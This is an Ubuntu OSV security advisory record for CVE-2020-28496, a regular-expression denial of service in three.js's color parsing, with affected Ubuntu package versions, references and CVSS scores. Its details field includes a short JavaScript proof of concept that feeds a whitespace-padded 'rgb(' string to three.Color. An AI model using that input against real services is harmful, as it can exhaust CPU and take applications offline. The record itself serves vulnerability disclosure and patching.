{"id":"UBUNTU-CVE-2020-28496","details":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i \u003c n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","modified":"2026-05-20T16:04:23.714826245Z","published":"2021-02-18T15:15:00Z","upstream":["CVE-2020-28496"],"references":[{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2020-28496"},{"type":"REPORT","url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"},{"type":"REPORT","url":"https://github.com/mrdoob/three.js/issues/21132"},{"type":"REPORT","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"},{"type":"REPORT","url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2020-28496"}],"affected":[{"package":{"name":"three.js","ecosystem":"Ubuntu:16.04:LTS","purl":"pkg:deb/ubuntu/three.js?arch=source&distro=xenial"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["73+dfsg-1"],"ecosystem_specific":{"binaries":[{"binary_version":"73+dfsg-1","binary_name":"libjs-three"}]},"database_specific":{"source":"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"}},{"package":{"name":"three.js","ecosystem":"Ubuntu:18.04:LTS","purl":"pkg:deb/ubuntu/three.js?arch=source&distro=bionic"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["80+dfsg2-1"],"ecosystem_specific":{"binaries":[{"binary_name":"libjs-three","binary_version":"80+dfsg2-1"}]},"database_specific":{"source":"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"}},{"package":{"name":"three.js","ecosystem":"Ubuntu:20.04:LTS","purl":"pkg:deb/ubuntu/three.js?arch=source&distro=focal"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["80+dfsg2-2","111+dfsg1-1"],"ecosystem_specific":{"binaries":[{"binary_version":"111+dfsg1-1","binary_name":"libjs-three"}]},"database_specific":{"source":"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"}},{"package":{"name":"three.js","ecosystem":"Ubuntu:22.04:LTS","purl":"pkg:deb/ubuntu/three.js?arch=source&distro=jammy"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-2"],"ecosystem_specific":{"binaries":[{"binary_name":"libjs-three","binary_version":"111+dfsg1-2"}]},"database_specific":{"source":"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"}},{"package":{"name":"three.js","ecosystem":"Ubuntu:24.04:LTS","purl":"pkg:deb/ubuntu/three.js?arch=source&distro=noble"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-3"],"ecosystem_specific":{"binaries":[{"binary_name":"libjs-three","binary_version":"111+dfsg1-3"}]},"database_specific":{"source":"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"}},{"package":{"name":"three.js","ecosystem":"Ubuntu:25.10","purl":"pkg:deb/ubuntu/three.js?arch=source&distro=questing"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-3"],"ecosystem_specific":{"binaries":[{"binary_version":"111+dfsg1-3","binary_name":"libjs-three"}]},"database_specific":{"source":"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"}},{"package":{"name":"three.js","ecosystem":"Ubuntu:26.04:LTS","purl":"pkg:deb/ubuntu/three.js?arch=source&distro=resolute"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["111+dfsg1-3","111+dfsg1-3build1","111+dfsg1-4","111+dfsg1-5"],"ecosystem_specific":{"binaries":[{"binary_version":"111+dfsg1-5","binary_name":"libjs-three"}]},"database_specific":{"source":"https://github.com/canonical/ubuntu-security-notices/blob/main/osv/cve/2020/UBUNTU-CVE-2020-28496.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"Ubuntu","score":"medium"}]}